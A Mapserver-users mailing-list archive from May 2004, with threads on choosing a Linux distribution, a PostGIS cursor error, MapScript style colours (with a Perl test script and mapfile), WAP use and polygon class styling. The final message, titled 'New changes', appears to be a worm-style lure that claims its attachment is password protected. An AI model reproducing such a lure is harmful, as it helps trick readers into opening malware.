kbt1s1i/A5BblnS0ladXa7DCarC3tVxnkGtLUjsTTg0Ywlu4GJtFaJ6IOTexDlorHYN0Szs4 PZeLBk0rUxmebLmPLDZGupAST1uzJUQQEHQsCwOQl0KpCJ8qijvFN8FbajMoBXJYSRI+sxlb NIm2P6+hQ7ouPn5nmhVdFaNlHj4SZ6KINwCgSbhSPhNoW5kVlWqDO4ZGx3h3IniKmEedFG9N uEYgUZdmcIyOU4QAijx+Gq6hGXYRfZOxrlU5TkaRNaIJP8JEFaEWEC0HdxFRpRK2nEmhCIhA C2GkWEOciaNwfgyacg62Lceyho9ApR9vIWzBaaJPkyghlW+Ub0JaTqE4hZR8t1UPUYaCoEZU czGxdKEChEwCH22qRCpOugFkEL0HZ2ZQu4I8qHtZrneLURuJcLq8kSizqaAUf4ifKiMbf61y bZxRaIwnwq2lKCEYPXsBHLW1VR7GepFQCAeKvEMPGStVWyZBPFURr0QaaBkaeVudnDlyTac5 R0atDREaXcfAwUEFjQ5LvD4Hhh+ohB0uuSqeNzAyhRG6ckBocZOVpEwcLmUNHCRmnYEgRaCZ xpjHSyEBG518Jwc/TB4PoGPHbnJQantDeh+Tp1hZZU+jHXurWUkvNmkys0VSWw0WOH1weSQq Xg5+I3xZCiAURnS4D75VXBSEOTutCxlUQg0bPCBRI4K9uHxhYniuCaedqpqAkb8xQF5IFVVs djRVaiSTPj86bMKFmQ8oiJJ4UHsUDnoEbMM5jIwQOlOdEY2GjWqSl5+QgQURNGkXMMUaC1dx taCj ----------iiwxminihliqqsevaunr-- From mark at markrodrigo.com Wed May 12 12:12:09 2004 From: mark at markrodrigo.com (Mark Rodrigo) Date: Wed, 12 May 2004 12:12:09 -0700 Subject: [Mapserver-users] Suse 9.1 Linux Pro a good Choice for Mapserver? Message-ID: Hello all: I have seen Tyler Mitchell's polls on the flavor of Linux people have been running, and it seems like Redhat has won out. I too have been working with a Redhat 9 implementation, but don't think I want to go to RH enterprise @ 350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE 9.1 professional. Any strong feelings for/against SUSE 9.1 Pro or maybe an earlier version? Only thing is, I would also like to do Tomcat /Java 1.4 on that same OS, and be able to port to a dedicated server running SUSE Pro which could be a problem. Thanks Mark From arnulf.christl at ccgis.de Wed May 12 12:16:56 2004 From: arnulf.christl at ccgis.de (Arnulf Christl) Date: Wed, 12 May 2004 21:16:56 +0200 Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? In-Reply-To: References: Message-ID: <40A27828.7@ccgis.de> Mark Rodrigo wrote: >Hello all: > >I have seen Tyler Mitchell's polls on the flavor of Linux people have been >running, and it seems like Redhat has won out. I too have been working with >a Redhat 9 implementation, but don't think I want to go to RH enterprise @ >350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE 9.1 >professional. Any strong feelings for/against SUSE 9.1 pro or maybe an >earlier version? > Even the newest SuSE you can get is just a little behind and awkward when using PostgreSQL/PostGIS. Ask our admin & he'll have strong feelings against SuSE, but he'll manage anyway. If you *can* choose we rather recommend using Debain or FreeBSD. Regards, Arnulf. >Only thing is I would also like to do Tomcat/Java 1.4 on >that same OS, and be able to port to a dedicated server. > >Thanks > >Mark > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From aaronkoning at shaw.ca Wed May 12 12:27:22 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Wed, 12 May 2004 12:27:22 -0700 Subject: [Mapserver-users] postgis and drawquery failing Message-ID: <2bc4502c09f8.2c09f82bc450@shaw.ca> Hello again list, So my problem has to do with postgis datasets again. If I do a $map->drawQuery() when more than one feature has been found I always get a postgis error: Warning: [MapServer Error]: msPOSTGISLayerGetShape(): Error executing POSTGIS SQL statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d(the_geom)),'NDR') from public.ipln_bc AS foo WHERE oid = 23234 -ERROR: cursor "mycursor" already exists If only one feature is found, then no problem it shows up in yellow (my highlight color) every time. I've added oid and gist indexing, done VACUUM ANALYZE, done SELECT UPDATE_GEOMETRY_STATS() and no change has occurred. mapserver version: 4.0.1 postgis version: 0.8.0 postgresql version: 7.4 Any suggestions or should I file a bug report? Thanks, Aaron From woodbri at swoodbridge.com Wed May 12 12:37:56 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 12 May 2004 15:37:56 -0400 Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? In-Reply-To: <40A27828.7@ccgis.de> References: <40A27828.7@ccgis.de> Message-ID: <40A27D14.4080009@swoodbridge.com> I have been running Debian on my systems at home with goo results after moving there from Redhat 6.2 and 8. I haven't tried PostgreSQL/PostGIS yet, but the systems are easy to setup and suuport from the point of view of packages and security update. We also use Debian on all of our servers at work, many of which are running mapserver also. -Steve W. Arnulf Christl wrote: > Mark Rodrigo wrote: > >> Hello all: >> >> I have seen Tyler Mitchell's polls on the flavor of Linux people have >> been >> running, and it seems like Redhat has won out. I too have been working >> with >> a Redhat 9 implementation, but don't think I want to go to RH >> enterprise @ >> 350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE 9.1 >> professional. Any strong feelings for/against SUSE 9.1 pro or maybe an >> earlier version? > > Even the newest SuSE you can get is just a little behind and awkward > when using PostgreSQL/PostGIS. Ask our admin & he'll have strong > feelings against SuSE, but he'll manage anyway. If you *can* choose we > rather recommend using Debain or FreeBSD. > > Regards, Arnulf. > >> Only thing is I would also like to do Tomcat/Java 1.4 on >> that same OS, and be able to port to a dedicated server. >> >> Thanks >> >> Mark >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From eric at gomoos.org Wed May 12 13:27:59 2004 From: eric at gomoos.org (Eric Bridger) Date: 12 May 2004 16:27:59 -0400 Subject: [Mapserver-users] Re: Clarifications about mapscript 4.2 In-Reply-To: References: Message-ID: <1084393684.1822.421.camel@ubet.gomoos.org> --=-gyxgLlHGdin/Zl8z8RxS Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Sean, I've been having trouble with styles and colors in Mapscript4.2b2. I've attached a small perl script and map file which demonstrates the problem. Loop thru some points, get the one class and style defined in the map file and change various attributes: size, symbol, color. I have no problem changing the class symbol or symbol size. But the color seems strangely "sticky". Whichever color is set first using $style->{color}->setRGB() remains in force. The color DOES change from the color defined in the mapfile but then will not change again. I've also found that (this is a separate problem) my $red_color = $mapscript::colorObj(255,0,0); $style->{color} = $red_color; does not work as expected. The color is always black in this case. Am I missing something? I will next attempt a completely dynamic approach, new class, new sytle, etc. and see if that works better. Thanks, Eric On Fri, 2004-05-07 at 13:21, Sean Gillies wrote: > Hi Eric, > > Was just looking at your Wiki pages and have some clarifications > for you. > > 1) STYLES: Most users will want to dynamically add new styles to a > class by > this syntax: > > $class = $layer.getClass(0); > $new_style = mapscript::styleObj($class); > > insertStyle() is for more specialized cases where you really want to > change > the ordering of styles or pass a fully-defined style around in your app. > > 2) SYMBOLS: I'd like to recommend that symbols be accessed through > methods of symbolSetObj class rather than through methods of mapObj. > For example: > > $foo_index = $map->{symbolset}->index("foo"); > > is, IMO, the better way to go than > > $foo_index = $map->getSymbolByName("foo"); > > The later is a poorly named function because it returns an integer, not > a > symbol, compared to mapObj::getLayerByName which *does* return a layer. > We're going to leave this in mapscript for backwards compatibility, but > the future direction is to make mapObj, layerObj, classObj, > symbolSetObj, > etc more container-like with index() methods that return the index of > a "child" object given the child's name, and that getFoo() methods > uniformly return instances of Foo, not a mix of instances and indexes. > > 3) You might want to point folks to the development documentation which > is > committed in CVS under mapserver/mapscript/doc/mapscript.txt and to the > HTML document that I have been generating and keeping online at > > http://users.frii.com/sgillies/projects/mapscript/ > > cheers, > Sean > > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies --=-gyxgLlHGdin/Zl8z8RxS Content-Disposition: attachment; filename=test_color.cgi Content-Transfer-Encoding: quoted-printable Content-Type: text/x-perl; name=test_color.cgi; charset=ISO-8859-15 #!/usr/bin/perl use strict; # Mapscript 4.2 Beta2 use mapscript42; use CGI ":cgi"; my $q =3D new CGI; # A hash of points. hash keys are values used in addFeature() and returned = by queryByPoint(). my %points =3D ( 1 =3D> { 'longitude' =3D> -67.0173, 'latitude' =3D> 44.8911, 'size' =3D> 15, }, 2 =3D> { 'longitude' =3D> -66.0146, 'latitude' =3D> 45.2045, 'size' =3D> 8, }, 3 =3D> { 'longitude' =3D> -68.3578, 'latitude' =3D> 43.7148, 'size' =3D> 12, }, 4 =3D> { 'longitude' =3D> -66.5528, 'latitude' =3D> 43.6243, 'size' =3D> 18, }, 5 =3D> { 'longitude' =3D> -68.9983, 'latitude' =3D> 44.0555, 'size' =3D> 24, }, ); # In tmp/ subdir my $image_name =3D sprintf("tmp/%0.10d",rand(1000000000)) . ".png"; my $map =3D new mapscript42::mapObj("test_color.map"); my $circle_idx =3D $map->{symbolset}->index("circle"); my $plus_idx =3D $map->{symbolset}->index("plus"); if(!$map){ warn "New mapObj() error: $mapscript42::ms_error->{message}\n"; } my $img =3D $map->prepareImage(); if(!$img){ warn "prepareImage() error: $mapscript42::ms_error->{message}\n"; } my $layerObj =3D $map->getLayerByName('points'); foreach my $point_id (sort keys %points){ my $point =3D new mapscript42::pointObj(); $point->{x} =3D $points{$point_id}{longitude}; $point->{y} =3D $points{$point_id}{latitude}; my $class =3D $layerObj->getClass(0); unless($class){ warn "No class\n";} my $style =3D $class->getStyle(0); unless($style){ warn "No style\n";} # set class symbol size from database $style->{size} =3D $points{$point_id}{size}; # STYLE COLORS if($point_id =3D=3D 1){ # sample test case, the first point $style->{symbol} =3D $plus_idx; # color objects can't be assigned at all. symbols are black #my $red =3D new mapscript42::colorObj(255,0,0); #$style->{color} =3D $red; # This first color "sticks", determining all point colors. But {symbol} a= nd {size} don't # outline colors stick also. $style->{color}->setRGB( 255,0,0 ); # $style->{color}->setRGB( 0,255,0 ); }else{ $style->{symbol} =3D $circle_idx; # This color has no affect after above setRGB() # $style->{color}->setRGB( 255,0,0 ); $style->{color}->setRGB( 0,255,0 ); } #my $color =3D $style->{color}; #warn "$point_id r:$color->{red} g:$color->{green} b:$color->{blue}\n"; $class->{label}->{color}->setRGB(0,0,0); $point->draw($map, $layerObj, $img, undef, "$point_id"); #undef $style; #undef $class; } $map->drawLabelCache($img); $img->save($image_name); # Output an HTML form to show image print $q->header(); print $q->start_html(-title=3D>'MapServer4.2b2 - Dynamic Points', -bgcolor= =3D>"#ffffff"); print "
\n"; print "
\n"; print "\n"; print "\n"; print "\n"; print "
\n"; print "\n"; print "
\n"; print "\n"; print "

\n"; print $q->end_html(); exit; --=-gyxgLlHGdin/Zl8z8RxS Content-Disposition: attachment; filename=test_color.map Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; name=test_color.map; charset=ISO-8859-15 MAP NAME "points42" STATUS ON EXTENT -71.5 39.5 -63.0 46.0 SIZE 504 385 IMAGETYPE PNG UNITS DD PROJECTION "proj=3Dlatlong" END OUTPUTFORMAT NAME PNG DRIVER "GD/PNG" MIMETYPE "image/png" # 24bit IMAGEMODE RGB EXTENSION "png" END SYMBOL TYPE ELLIPSE NAME "circle" POINTS 1 1 END FILLED TRUE END SYMBOL TYPE VECTOR NAME "plus" POINTS .5 0 .5 1 -99 -99 0 .5 1 .5 END END=20 LAYER NAME "points" DEBUG ON TYPE POINT STATUS ON TOLERANCE 10 TEMPLATE "bogus.html" CLASS NAME "point" STYLE SYMBOL "circle" SIZE 0=20 COLOR 0 255 0 OUTLINECOLOR 0 0 0 END LABEL COLOR 255 0 0 TYPE BITMAP SIZE MEDIUM POSITION AUTO END END PROJECTION "proj=3Dlatlong" END END END --=-gyxgLlHGdin/Zl8z8RxS-- From dmorissette at dmsolutions.ca Wed May 12 14:10:11 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 12 May 2004 17:10:11 -0400 Subject: [Mapserver-users] postgis and drawquery failing In-Reply-To: <2bc4502c09f8.2c09f82bc450@shaw.ca> References: <2bc4502c09f8.2c09f82bc450@shaw.ca> Message-ID: <40A292B3.8010708@dmsolutions.ca> AARON KONING wrote: > Hello again list, > > So my problem has to do with postgis datasets again. If I do a $map->drawQuery() when more than one feature has been found I always get a postgis error: > > Warning: [MapServer Error]: msPOSTGISLayerGetShape(): Error executing POSTGIS SQL statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d(the_geom)),'NDR') from public.ipln_bc AS foo WHERE oid = 23234 > -ERROR: cursor "mycursor" already exists > > If only one feature is found, then no problem it shows up in yellow (my highlight color) every time. > > I've added oid and gist indexing, done VACUUM ANALYZE, done SELECT UPDATE_GEOMETRY_STATS() and no change has occurred. > > mapserver version: 4.0.1 > postgis version: 0.8.0 > postgresql version: 7.4 > > Any suggestions or should I file a bug report? > I'd suggest that you try version 4.0.2, it contains the following change: --- - Copied 4.1 mappostgis.c back with changes for pg7.4 support, error reporting, etc. --- If that still fails with 4.0.2 then please try against 4.2, and if it fails there then please report a bug. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From sgillies at frii.com Wed May 12 14:17:26 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 12 May 2004 15:17:26 -0600 Subject: [Mapserver-users] Re: Clarifications about mapscript 4.2 In-Reply-To: <1084393684.1822.421.camel@ubet.gomoos.org> References: <1084393684.1822.421.camel@ubet.gomoos.org> Message-ID: Hey Eric, I'm unable to reproduce your problems with my Python interpreter. Here is a session below. I'm using the mapfile from the mapserver tests. Python 2.3.3 (#1, Jan 4 2004, 11:27:28) [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import mapscript >>> test_map = mapscript.mapObj('/home/sean/projects/ms_42/mapserver/tests/test.map') >>> class00 = test_map.getLayer(0).getClass(0) >>> s0 = class00.getStyle(0) >>> s0 >>> s0.color.toHex() '#ff9966' >>> s0.color.setRGB(0,0,0) 0 >>> s0.color.toHex() '#000000' >>> s0.color.setRGB(51,51,51) 0 >>> s0.color.toHex() '#333333' >>> s0.color.setRGB(102,102,102) 0 >>> s0.color.toHex() '#666666' I can't reproduce the sticking. Next a test with defined colors. >>> blue = mapscript.colorObj(0,0,255) >>> blue.toHex() '#0000ff' >>> s0.color = blue >>> s0.color.toHex() '#0000ff' >>> red = mapscript.colorObj(255,0,0) >>> s0.color = red >>> s0.color.toHex() '#ff0000' >>> s0.color = blue >>> s0.color.toHex() '#0000ff' So it appears that this is working OK as well. Now, looking at your script, there is a line $point->draw($map, $layerObj, $img, undef, "$point_id"); The fourth arg of pointObj::draw is supposed to be the classindex of the appropriate class of your layer. I'm not at all sure what we'd expect when we give it a NULL instead of an integer in the range [0 .. $layerObj->{numclasses}). In your script it looks like you should be passing a value of 0 instead of undef. BTW, this reminds me how awful are the API for the various draw() methods. The above method should really be something like pointObj::draw( imageObj img, classObj class, string text ) Since the layer and classindex arguments only serve to point to a class anyway. It's awkward to be passing a mix of references and integer indexes to the class. cheers, Sean On May 12, 2004, at 2:27 PM, Eric Bridger wrote: > Hi Sean, > > I've been having trouble with styles and colors in Mapscript4.2b2. I've > attached a small perl script and map file which demonstrates the > problem. > > Loop thru some points, get the one class and style defined in the map > file and change various attributes: size, symbol, color. I have no > problem changing the class symbol or symbol size. But the color seems > strangely "sticky". Whichever color is set first using > $style->{color}->setRGB() remains in force. The color DOES change from > the color defined in the mapfile but then will not change again. > > I've also found that (this is a separate problem) > my $red_color = $mapscript::colorObj(255,0,0); > $style->{color} = $red_color; > > does not work as expected. The color is always black in this case. > > Am I missing something? I will next attempt a completely dynamic > approach, new class, new sytle, etc. and see if that works better. > > Thanks, > Eric > > On Fri, 2004-05-07 at 13:21, Sean Gillies wrote: >> Hi Eric, >> >> Was just looking at your Wiki pages and have some clarifications >> for you. >> >> 1) STYLES: Most users will want to dynamically add new styles to a >> class by >> this syntax: >> >> $class = $layer.getClass(0); >> $new_style = mapscript::styleObj($class); >> >> insertStyle() is for more specialized cases where you really want to >> change >> the ordering of styles or pass a fully-defined style around in your >> app. >> >> 2) SYMBOLS: I'd like to recommend that symbols be accessed through >> methods of symbolSetObj class rather than through methods of mapObj. >> For example: >> >> $foo_index = $map->{symbolset}->index("foo"); >> >> is, IMO, the better way to go than >> >> $foo_index = $map->getSymbolByName("foo"); >> >> The later is a poorly named function because it returns an integer, >> not >> a >> symbol, compared to mapObj::getLayerByName which *does* return a >> layer. >> We're going to leave this in mapscript for backwards compatibility, >> but >> the future direction is to make mapObj, layerObj, classObj, >> symbolSetObj, >> etc more container-like with index() methods that return the index of >> a "child" object given the child's name, and that getFoo() methods >> uniformly return instances of Foo, not a mix of instances and indexes. >> >> 3) You might want to point folks to the development documentation >> which >> is >> committed in CVS under mapserver/mapscript/doc/mapscript.txt and to >> the >> HTML document that I have been generating and keeping online at >> >> http://users.frii.com/sgillies/projects/mapscript/ >> >> cheers, >> Sean >> >> >> -- >> Sean Gillies >> sgillies at frii dot com >> http://users.frii.com/sgillies > > > > From aaronkoning at shaw.ca Wed May 12 14:20:08 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Wed, 12 May 2004 14:20:08 -0700 Subject: [Mapserver-users] postgis and drawquery failing Message-ID: <2e6c6d2e4889.2e48892e6c6d@shaw.ca> Yes, I had just found a thread regarding the way postgresql requires cursors to be explicitly closed... anyways I upgraded to a CVS version which had the fix. Thanks, Aaron ----- Original Message ----- From: Daniel Morissette Date: Wednesday, May 12, 2004 2:10 pm Subject: Re: [Mapserver-users] postgis and drawquery failing > AARON KONING wrote: > > Hello again list, > > > > So my problem has to do with postgis datasets again. If I do a > $map->drawQuery() when more than one feature has been found I > always get a postgis error: > > > > Warning: [MapServer Error]: msPOSTGISLayerGetShape(): Error > executing POSTGIS SQL statement (in FETCH ALL): DECLARE > mycursor BINARY CURSOR FOR SELECT > asbinary(force_collection(force_2d(the_geom)),'NDR') from > public.ipln_bc AS foo WHERE oid = 23234 > > -ERROR: cursor "mycursor" already exists > > > > If only one feature is found, then no problem it shows up in > yellow (my highlight color) every time. > > > > I've added oid and gist indexing, done VACUUM ANALYZE, done > SELECT UPDATE_GEOMETRY_STATS() and no change has occurred. > > > > mapserver version: 4.0.1 > > postgis version: 0.8.0 > > postgresql version: 7.4 > > > > Any suggestions or should I file a bug report? > > > > I'd suggest that you try version 4.0.2, it contains the following > change: > --- > - Copied 4.1 mappostgis.c back with changes for pg7.4 support, error > reporting, etc. > --- > > If that still fails with 4.0.2 then please try against 4.2, and if > it > fails there then please report a bug. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > From brian at entropy.net Wed May 12 15:08:50 2004 From: brian at entropy.net (Brian Russo) Date: Wed, 12 May 2004 18:08:50 -0400 Subject: [Mapserver-users] mapserver & wap Message-ID: <20040512220850.GA946@badfish.securityminded.net> >From reading archives, I know I can compile in wbmp support. But am curious to hear from anyone here using mapserver over WAP, and how their mileage was. - bri -- Recursivity. Call back if it happens again. From antonio.cosenza at polito.it Wed May 12 15:31:26 2004 From: antonio.cosenza at polito.it (toni) Date: Thu, 13 May 2004 00:31:26 +0200 Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? In-Reply-To: <40A27D14.4080009@swoodbridge.com> References: <40A27828.7@ccgis.de> <40A27D14.4080009@swoodbridge.com> Message-ID: <40A2A5BE.8030201@polito.it> I agree with you guys!! Debian is good for mapserver, I use stable release for production servers and sarge on my notebook and desktop machines. PostGIS works fine on stable and sarge too! Toni Stephen Woodbridge wrote: > I have been running Debian on my systems at home with goo results > after moving there from Redhat 6.2 and 8. I haven't tried > PostgreSQL/PostGIS yet, but the systems are easy to setup and suuport > from the point of view of packages and security update. > > We also use Debian on all of our servers at work, many of which are > running mapserver also. > > -Steve W. > > Arnulf Christl wrote: > >> Mark Rodrigo wrote: >> >>> Hello all: >>> >>> I have seen Tyler Mitchell's polls on the flavor of Linux people >>> have been >>> running, and it seems like Redhat has won out. I too have been >>> working with >>> a Redhat 9 implementation, but don't think I want to go to RH >>> enterprise @ >>> 350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE >>> 9.1 >>> professional. Any strong feelings for/against SUSE 9.1 pro or maybe an >>> earlier version? >> >> >> Even the newest SuSE you can get is just a little behind and awkward >> when using PostgreSQL/PostGIS. Ask our admin & he'll have strong >> feelings against SuSE, but he'll manage anyway. If you *can* choose >> we rather recommend using Debain or FreeBSD. >> >> Regards, Arnulf. >> >>> Only thing is I would also like to do Tomcat/Java 1.4 on >>> that same OS, and be able to port to a dedicated server. >>> >>> Thanks >>> >>> Mark >>> >>> >>> _______________________________________________ >>> Mapserver-users mailing list >>> Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From JWiley at city.parksville.bc.ca Wed May 12 15:47:22 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Wed, 12 May 2004 15:47:22 -0700 Subject: [Mapserver-users] WINNT from WIN XP Message-ID: --=_A2834D81.7E1F7740 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit I have mapserver 4.01 running with XP ok and now to provide demo to senior staff need to migrate to dedicated server on the intranet. Downloaded 4.02 ...can not get maps to display only black. Have checked path and permissions... any suggestions? oooh I'm so close please help! John, City of Parksville --=_A2834D81.7E1F7740 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Description: HTML

I have mapserver 4.01  running with XP ok and now to provide demo to senior staff need to migrate to dedicated server on the intranet.   Downloaded 4.02 ...can not get maps to display only black.
Have checked path and permissions... any suggestions?
oooh I'm so close please help!
 
John,
City of Parksville
 
--=_A2834D81.7E1F7740-- From TMitchell at lignum.com Wed May 12 16:05:54 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 12 May 2004 16:05:54 -0700 Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? In-Reply-To: Message-ID: I better speak up! :) I'm using SuSE 9 and am pleased as punch. It comes with, IMHO, some great configuration, control and installation applications. Out of the box, I was able to access my NTFS drives, which was real nice. I will be picking up a pro. version in the future for sure. Out of all the distro's I tried last year (5 different ones from downloadable ISO's), SuSE was the only one that let me make a really customized install (still working around my w2k partitions). Others had a bit of a fit with my non-standard install, though I know they should have worked...I've grown to love the lizard. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/11/2004 09:22:48 PM: > Hello all: > > I have seen Tyler Mitchell's polls on the flavor of Linux people have been > running, and it seems like Redhat has won out. I too have been working with > a Redhat 9 implementation, but don't think I want to go to RH enterprise @ > 350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE 9.1 > professional. Any strong feelings for/against SUSE 9.1 pro or maybe an > earlier version? Only thing is I would also like to do Tomcat/Java 1.4 on > that same OS, and be able to port to a dedicated server. > > Thanks > > Mark > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mcortez at fullcoll.edu Wed May 12 16:07:43 2004 From: mcortez at fullcoll.edu (Michael Cortez) Date: Wed, 12 May 2004 16:07:43 -0700 Subject: [Mapserver-users] Polygon Layer and Coloring... Message-ID: <9E29C00EE9B21943AD20D86A5849910B04466A86@fcex01.fullcoll.edu> And another newbie stumbles on to the scene... So I've gotten Mapserver up and running, ran through some of the tutorials, been playing with data from ESRI World Basemap Data, TIGER/Line, etc... In each case I've just based my work off the "workshop" files. Everything so far is "good to go." ... Now I'm experimenting with Styling, and I pulled some ESRI World Basemap Data for Germany. The data includes a Polygon layer for provinces. Each province has a COLOR_MAP field, with what looks like a unique number for each province (1 through 9 I think). What I'd like to try and have, is for each province to be a different color. I don't care what the specific colors are (at this point.) Is there some "easy" method of defining a single layer, that then colors each province differently (possibly based on it's COLOR_MAP field)? Or do I have to create a separate layer for each province, with a separate CLASS & COLOR for each province? If I have to go this route, how would I isolate each province for each layer? Thanks, -- Michael Cortez Development Services Academic Computing Fullerton College http://www.fullcoll.edu From TMitchell at lignum.com Wed May 12 16:09:24 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 12 May 2004 16:09:24 -0700 Subject: [Mapserver-users] WINNT from WIN XP In-Reply-To: Message-ID: John, in the interests of mapserver in B.C. I'll try to help you as much as I can :) questions: -Are you getting an image back or no image at all? -Are you moving it to another XP machine? What has changed between boxes? -Perhaps the version of mapserv.exe doesn't support the source imagery you are using. Try testing with the most basic data first, just shapefiles. -Do you have an imagetype defined in the map file? Feel free to email us your map file. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/12/2004 03:47:22 PM: > I have mapserver 4.01 running with XP ok and now to provide demo to > senior staff need to migrate to dedicated server on the intranet. > Downloaded 4.02 ...can not get maps to display only black. > Have checked path and permissions... any suggestions? > oooh I'm so close please help! > > John, > City of Parksville > From thannant at metadev.com.au Wed May 12 17:04:45 2004 From: thannant at metadev.com.au (Terry Hannant) Date: Thu, 13 May 2004 09:34:45 +0930 (CST) Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? In-Reply-To: References: Message-ID: <1164.143.216.188.111.1084406685.squirrel@www.metafu.com> Mark, We use SUSE 9.1 with Tomcat/Java 1.4 & Postgres/Postgis for production servers and are very happy with it > Hello all: > > I have seen Tyler Mitchell's polls on the flavor of Linux people have been > running, and it seems like Redhat has won out. I too have been working > with > a Redhat 9 implementation, but don't think I want to go to RH enterprise @ > 350$/yr. I have been thinking about Debian, FreeBSD, but mostly SUSE 9.1 > professional. Any strong feelings for/against SUSE 9.1 pro or maybe an > earlier version? Only thing is I would also like to do Tomcat/Java 1.4 on > that same OS, and be able to port to a dedicated server. > > Thanks > > Mark > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- Terry Hannant Metadev Pty Ltd From woodbri at swoodbridge.com Wed May 12 17:18:41 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 12 May 2004 20:18:41 -0400 Subject: [Mapserver-users] Polygon Layer and Coloring... In-Reply-To: <9E29C00EE9B21943AD20D86A5849910B04466A86@fcex01.fullcoll.edu> References: <9E29C00EE9B21943AD20D86A5849910B04466A86@fcex01.fullcoll.edu> Message-ID: <40A2BEE1.2090803@swoodbridge.com> Try something like this: LAYER CLASSITEM COLOR_MAP ... CLASS EXPRESSION "value1" STYLE COLOR r1 g1 b1 ... END END CLASS EXPRESSION "value2" STYLE COLOR r2 g2 b2 ... END END ... END -Steve W. Michael Cortez wrote: > And another newbie stumbles on to the scene... > > > So I've gotten Mapserver up and running, ran through some of the > tutorials, been playing with data from ESRI World Basemap Data, > TIGER/Line, etc... In each case I've just based my work off the > "workshop" files. > > Everything so far is "good to go." > > ... > > Now I'm experimenting with Styling, and I pulled some ESRI World Basemap > Data for Germany. The data includes a Polygon layer for provinces. > Each province has a COLOR_MAP field, with what looks like a unique > number for each province (1 through 9 I think). > > What I'd like to try and have, is for each province to be a different > color. I don't care what the specific colors are (at this point.) Is > there some "easy" method of defining a single layer, that then colors > each province differently (possibly based on it's COLOR_MAP field)? > > Or do I have to create a separate layer for each province, with a > separate CLASS & COLOR for each province? If I have to go this route, > how would I isolate each province for each layer? > > Thanks, > -- > Michael Cortez > > Development Services > Academic Computing > Fullerton College > http://www.fullcoll.edu > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From steve.lime at dnr.state.mn.us Wed May 12 18:21:32 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 12 May 2004 19:21:32 -0600 Subject: [Mapserver-users] New changes Message-ID: ----------dvqdpfsmuhqvkjidbjda Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
For security purposes the attached file is password protected. Password --

